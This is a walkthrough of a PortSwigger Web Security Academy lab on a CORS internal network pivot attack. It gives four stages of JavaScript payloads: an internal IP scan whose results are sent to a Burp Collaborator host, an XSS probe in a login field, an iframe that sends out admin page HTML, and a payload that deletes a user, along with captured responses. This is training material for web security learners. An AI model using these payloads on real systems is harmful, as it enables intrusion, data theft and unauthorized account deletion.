CORS vulnerability with internal network pivot attack

Description

The website of this lab has an insecure CORS configuration in that it trusts all internal network origins, and requires multiple steps to complete.

Reproduction and proof of concept

  1. Scan the local network for the endpoint. Replace $collaboratorPayload with your Collaborator payload or exploit server URL. Enter the code into the exploit server. Click Store, then Deliver exploit to victim. Inspect the log or the Collaborator interaction and look at the code parameter sent to it.

<html>
    <script>
        collaboratorURL = 'http://z337wm2yp0htx6wbpc4jq10az15ttjh8.oastify.com'

        for (let i=0; i<256; i++){
            fetch('http://192.168.0.' + i + ':8080')
            .then(response => response.text())
            .then (text => {
                try {

                fetch(collaboratorURL + '?ip=' + 'http://192.168.0.' + i + "&code=" + encodeURIComponent(text))
                } catch(err){

                }
            })
        }
    </script>
</html>

Results:

GET /?ip=http://192.168.0.105&code=%3C!DOCTYPE%20html%3E%0A%3Chtml%3E%0A%20%20%20%20%3Chead%3E%0A%20%20%20%20%20%20%20%20%3Clink%20href%3D%2Fresources%2Flabheader%2Fcss%2FacademyLabHeader.css%20rel%3Dstylesheet%3E%0A%20%20%20%20%20%20%20%20%3Clink%20href%3D%2Fresources%2Fcss%2Flabs.css%20rel%3Dstylesheet%3E%0A%20%20%20%20%20%20%20%20%3Ctitle%3ECORS%20vulnerability%20with%20internal%20network%20pivot%20attack%3C%2Ftitle%3E%0A%20%20%20%20%3C%2Fhead%3E%0A%20%20%20%20%3Cbody%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cscript%20src%3D%22%2Fresources%2Flabheader%2Fjs%2FlabHeader.js%22%3E%3C%2Fscript%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20id%3D%22academyLabHeader%22%3E%0A%20%20%20%20%3Csection%20class%3D%27academyLabBanner%27%3E%0A%20%20%20%20%20%20%20%20%3Cdiv%20class%3Dcontainer%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20class%3Dlogo%3E%3C%2Fdiv%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20class%3Dtitle-container%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ch2%3ECORS%20vulnerability%20with%20internal%20network%20pivot%20attack%3C%2Fh2%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ca%20id%3D%27exploit-link%27%20class%3D%27button%27%20target%3D%27_blank%27%20href%3D%27http%3A%2F%2Fexploit-0ad7009503fd8eb5c174842a019b0019.exploit-server.net%27%3EGo%20to%20exploit%20server%3C%2Fa%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ca%20class%3Dlink-back%20href%3D%27https%3A%2F%2Fportswigger.net%2Fweb-security%2Fcors%2Flab-internal-network-pivot-attack%27%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20Back%26nbsp%3Bto%26nbsp%3Blab%26nbsp%3Bdescription%26nbsp%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Csvg%20version%3D1.1%20id%3DLayer_1%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20xmlns%3Axlink%3D%27http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%27%20x%3D0px%20y%3D0px%20viewBox%3D%270%200%2028%2030%27%20enable-background%3D%27new%200%200%2028%2030%27%20xml%3Aspace%3Dpreserve%20title%3Dback-arrow%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cg%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cpolygon%20points%3D%271.4%2C0%200%2C1.2%2012.6%2C15%200%2C28.8%201.4%2C30%2015.1%2C15%27%3E%3C%2Fpolygon%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cpolygon%20points%3D%2714.3%2C0%2012.9%2C1.2%2025.6%2C15%2012.9%2C28.8%2014.3%2C30%2028%2C15%27%3E%3C%2Fpolygon%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fg%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fsvg%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fa%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fdiv%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20class%3D%27widgetcontainer-lab-status%20is-notsolved%27%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cspan%3ELAB%3C%2Fspan%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cp%3ENot%20solved%3C%2Fp%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cspan%20class%3Dlab-status-icon%3E%3C%2Fspan%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fdiv%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fdiv%3E%0A%20%20%20%20%20%20%20%20%3C%2Fdiv%3E%0A%20%20%20%20%3C%2Fsection%3E%0A%3C%2Fdiv%3E%0A%20%20%20%20%20%20%20%20%3Cdiv%20theme%3D%22%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Csection%20class%3D%22maincontainer%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20class%3D%22container%20is-page%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cheader%20class%3D%22navigation-header%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Csection%20class%3D%22top-links%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ca%20href%3D%2F%3EHome%3C%2Fa%3E%3Cp%3E%7C%3C%2Fp%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ca%20href%3D%22%2Fmy-account%22%3EMy%20account%3C%2Fa%3E%3Cp%3E%7C%3C%2Fp%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fsection%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fheader%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cheader%20class%3D%22notification-header%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fheader%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ch1%3ELogin%3C%2Fh1%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Csection%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cform%20class%3Dlogin-form%20method%3DPOST%20action%3D%2Flogin%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cinput%20required%20type%3D%22hidden%22%20name%3D%22csrf%22%20value%3D%22ut7nEPmQYOw9dkmqlppKHtZxG4JgiF4k%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Clabel%3EUsername%3C%2Flabel%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cinput%20required%20type%3Dusername%20name%3D%22username%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Clabel%3EPassword%3C%2Flabel%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cinput%20required%20type%3Dpassword%20name%3D%22password%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cbutton%20class%3Dbutton%20type%3Dsubmit%3E%20Log%20in%20%3C%2Fbutton%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fform%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fsection%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fdiv%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fsection%3E%0A%20%20%20%20%20%20%20%20%3C%2Fdiv%3E%0A%20%20%20%20%3C%2Fbody%3E%0A%3C%2Fhtml%3E%0A HTTP/1.1
Host: z337wm2yp0htx6wbpc4jq10az15ttjh8.oastify.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.119 Safari/537.36
Accept: */*
Origin: http://exploit-0ad7009503fd8eb5c174842a019b0019.exploit-server.net
Referer: http://exploit-0ad7009503fd8eb5c174842a019b0019.exploit-server.net/
Accept-Encoding: gzip, deflate
Accept-Language: en-US

url-decoded source code parameter:

<!DOCTYPE html>
<html>
    <head>
        <link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
        <link href=/resources/css/labs.css rel=stylesheet>
        <title>CORS vulnerability with internal network pivot attack</title>
    </head>
    <body>
            <script src="/resources/labheader/js/labHeader.js"></script>
            <div id="academyLabHeader">
    <section class='academyLabBanner'>
        <div class=container>
            <div class=logo></div>
                <div class=title-container>
                    <h2>CORS vulnerability with internal network pivot attack</h2>
                    <a id='exploit-link' class='button' target='_blank' href='http://exploit-0ace007603b26a2cc0140b92019e00dc.exploit-server.net'>Go to exploit server</a>
                    <a class=link-back href='https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack'>
                        Back&nbsp;to&nbsp;lab&nbsp;description&nbsp;
                        <svg version=1.1 id=Layer_1 xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x=0px y=0px viewBox='0 0 28 30' enable-background='new 0 0 28 30' xml:space=preserve title=back-arrow>
                            <g>
                                <polygon points='1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15'></polygon>
                                <polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'></polygon>
                            </g>
                        </svg>
                    </a>
                </div>
                <div class='widgetcontainer-lab-status is-notsolved'>
                    <span>LAB</span>
                    <p>Not solved</p>
                    <span class=lab-status-icon></span>
                </div>
            </div>
        </div>
    </section>
</div>
        <div theme="">
            <section class="maincontainer">
                <div class="container is-page">
                    <header class="navigation-header">
                        <section class="top-links">
                            <a href=/>Home</a><p>|</p>
                            <a href="/my-account">My account</a><p>|</p>
                        </section>
                    </header>
                    <header class="notification-header">
                    </header>
                    <h1>Login</h1>
                    <section>
                        <form class=login-form method=POST action=/login>
                            <input required type="hidden" name="csrf" value="2ptja3azGfqjLUiqPWqRJvBlAmudZvZP">
                            <label>Username</label>
                            <input required type=username name="username">
                            <label>Password</label>
                            <input required type=password name="password">
                            <button class=button type=submit> Log in </button>
                        </form>
                    </section>
                </div>
            </section>
        </div>
    </body>
</html>
  1. Clear the code from stage 1 and enter the following code to probe the username field for an XSS vulnerability in the exploit server. Replace $ip with the IP address and port number retrieved from your collaborator interaction. Add Collaborator payload or exploit server URL (again). Update and deliver the exploit.

<html>
    <script>
        collaboratorURL = 'http://$collaboratorPayload'
        url = 'http://$ip'

        fetch(url)
        .then(response => response.text())
        .then(text =>{
            try {
                xss_vector = '"><img src='+collaboratorURL+'?foundXSS=1>';
                login_path = '/login?username='+encodeURIComponent(xss_vector)+'&password=random&csrf='+text.match(/csrf" value="([^"]+)"/);
                location = url + login_path;

            } catch(err){

            }
        });
    </script>
</html>

Results:

GET /?foundXSS=1 HTTP/1.1
Host: z337wm2yp0htx6wbpc4jq10az15ttjh8.oastify.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.119 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://192.168.0.105:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US
  1. Clear the code from stage 2 and enter the following code in the exploit server. Replace $ip with the same IP address and port number as in step 2 and add Collaborator payload or exploit server (again). Update and deliver the exploit. The Collaborator interaction or exploit server log should now give the source code of the admin page.

<html>
    <script>
        collaboratorURL = 'http://$collaboratorPayload'
        url = 'http://$ip'

        fetch(url)
        .then(response => response.text())
        .then(text =>{
            try {
                xss_vector = '"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">';
                login_path = '/login?username='+encodeURIComponent(xss_vector)+'&password=random&csrf='+text.match(/csrf" value="([^"]+)"/);
                location = url + login_path;

            } catch(err){

            }
        });
    </script>
</html>

Results:

GET /?code=%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cscript%20src%3D%22%2Fresources%2Flabheader%2Fjs%2FlabHeader.js%22%3E%3C%2Fscript%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20id%3D%22academyLabHeader%22%3E%0A%20%20%20%20%3Csection%20class%3D%22academyLabBanner%22%3E%0A%20%20%20%20%20%20%20%20%3Cdiv%20class%3D%22container%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20class%3D%22logo%22%3E%3C%2Fdiv%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20class%3D%22title-container%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ch2%3ECORS%20vulnerability%20with%20internal%20network%20pivot%20attack%3C%2Fh2%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ca%20id%3D%22exploit-link%22%20class%3D%22button%22%20target%3D%22_blank%22%20href%3D%22http%3A%2F%2Fexploit-0ad7009503fd8eb5c174842a019b0019.exploit-server.net%22%3EGo%20to%20exploit%20server%3C%2Fa%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ca%20class%3D%22link-back%22%20href%3D%22https%3A%2F%2Fportswigger.net%2Fweb-security%2Fcors%2Flab-internal-network-pivot-attack%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20Back%26nbsp%3Bto%26nbsp%3Blab%26nbsp%3Bdescription%26nbsp%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20viewBox%3D%220%200%2028%2030%22%20enable-background%3D%22new%200%200%2028%2030%22%20xml%3Aspace%3D%22preserve%22%20title%3D%22back-arrow%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cg%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cpolygon%20points%3D%221.4%2C0%200%2C1.2%2012.6%2C15%200%2C28.8%201.4%2C30%2015.1%2C15%22%3E%3C%2Fpolygon%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cpolygon%20points%3D%2214.3%2C0%2012.9%2C1.2%2025.6%2C15%2012.9%2C28.8%2014.3%2C30%2028%2C15%22%3E%3C%2Fpolygon%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fg%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fsvg%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fa%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fdiv%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20class%3D%22widgetcontainer-lab-status%20is-notsolved%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cspan%3ELAB%3C%2Fspan%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cp%3ENot%20solved%3C%2Fp%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cspan%20class%3D%22lab-status-icon%22%3E%3C%2Fspan%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fdiv%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fdiv%3E%0A%20%20%20%20%20%20%20%20%3C%2Fsection%3E%3C%2Fdiv%3E%0A%20%20%20%20%0A%0A%20%20%20%20%20%20%20%20%3Cdiv%20theme%3D%22%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Csection%20class%3D%22maincontainer%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20class%3D%22container%20is-page%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cheader%20class%3D%22navigation-header%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Csection%20class%3D%22top-links%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ca%20href%3D%22%2F%22%3EHome%3C%2Fa%3E%3Cp%3E%7C%3C%2Fp%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ca%20href%3D%22%2Fadmin%22%3EAdmin%20panel%3C%2Fa%3E%3Cp%3E%7C%3C%2Fp%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ca%20href%3D%22%2Fmy-account%3Fid%3Dadministrator%22%3EMy%20account%3C%2Fa%3E%3Cp%3E%7C%3C%2Fp%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fsection%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fheader%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cheader%20class%3D%22notification-header%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fheader%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cform%20style%3D%22margin-top%3A%201em%22%20class%3D%22login-form%22%20action%3D%22%2Fadmin%2Fdelete%22%20method%3D%22POST%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cinput%20required%3D%22%22%20type%3D%22hidden%22%20name%3D%22csrf%22%20value%3D%22ToH0OibZTXSyq6LEhyOvD8KUu1QuBSlP%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Clabel%3EUsername%3C%2Flabel%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cinput%20required%3D%22%22%20type%3D%22text%22%20name%3D%22username%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cbutton%20class%3D%22button%22%20type%3D%22submit%22%3EDelete%20user%3C%2Fbutton%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fform%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fdiv%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fsection%3E%0A%20%20%20%20%20%20%20%20%3C%2Fdiv%3E%0A%20%20%20%20%0A%0A HTTP/1.1
Host: z337wm2yp0htx6wbpc4jq10az15ttjh8.oastify.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.119 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://192.168.0.105:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US

url-decoded code:

        <script src="/resources/labheader/js/labHeader.js"></script>
        <div id="academyLabHeader">
<section class="academyLabBanner">
    <div class="container">
        <div class="logo"></div>
            <div class="title-container">
                <h2>CORS vulnerability with internal network pivot attack</h2>
                <a id="exploit-link" class="button" target="_blank" href="http://exploit-0ad7009503fd8eb5c174842a019b0019.exploit-server.net">Go to exploit server</a>
                <a class="link-back" href="https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack">
                    Back&nbsp;to&nbsp;lab&nbsp;description&nbsp;
                    <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 28 30" enable-background="new 0 0 28 30" xml:space="preserve" title="back-arrow">
                        <g>
                            <polygon points="1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15"></polygon>
                            <polygon points="14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15"></polygon>
                        </g>
                    </svg>
                </a>
            </div>
            <div class="widgetcontainer-lab-status is-notsolved">
                <span>LAB</span>
                <p>Not solved</p>
                <span class="lab-status-icon"></span>
            </div>
        </div>
    </section></div>


    <div theme="">
        <section class="maincontainer">
            <div class="container is-page">
                <header class="navigation-header">
                    <section class="top-links">
                        <a href="/">Home</a><p>|</p>
                        <a href="/admin">Admin panel</a><p>|</p>
                        <a href="/my-account?id=administrator">My account</a><p>|</p>
                    </section>
                </header>
                <header class="notification-header">
                </header>
                <form style="margin-top: 1em" class="login-form" action="/admin/delete" method="POST">
                    <input required="" type="hidden" name="csrf" value="ToH0OibZTXSyq6LEhyOvD8KUu1QuBSlP">
                    <label>Username</label>
                    <input required="" type="text" name="username">
                    <button class="button" type="submit">Delete user</button>
                </form>
            </div>
        </section>
    </div>
  1. There is a form that allows for deleting a user. Clear the code from stage 3 and enter the next step in the exploit server. Replace $ip with the same IP address and port number as in steps 2 and 3. The code submits the form to delete carlos by injecting an iframe pointing to the /admin page:

<html>
    <script>
        collaboratorURL = 'http://$collaboratorPayload'
        url = 'http://$ip'

        fetch(url)
        .then(response => response.text())
        .then(text =>{
            try {
                xss_vector = '"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0]; if(f.username)f.username.value=\'carlos\',f.submit()">';
                login_path = '/login?username='+encodeURIComponent(xss_vector)+'&password=random&csrf='+text.match(/csrf" value="([^"]+)"/);
                location = url + login_path;

            } catch(err){

            }
        });
    </script>
</html>

Click on Deliver exploit to victim to submit the code.

Exploitability

Note: To prevent the Academy platform being used to attack third parties, the firewall blocks interactions between the labs and arbitrary external systems. The provided exploit server and/or Burp Collaborator’s default public server must be used.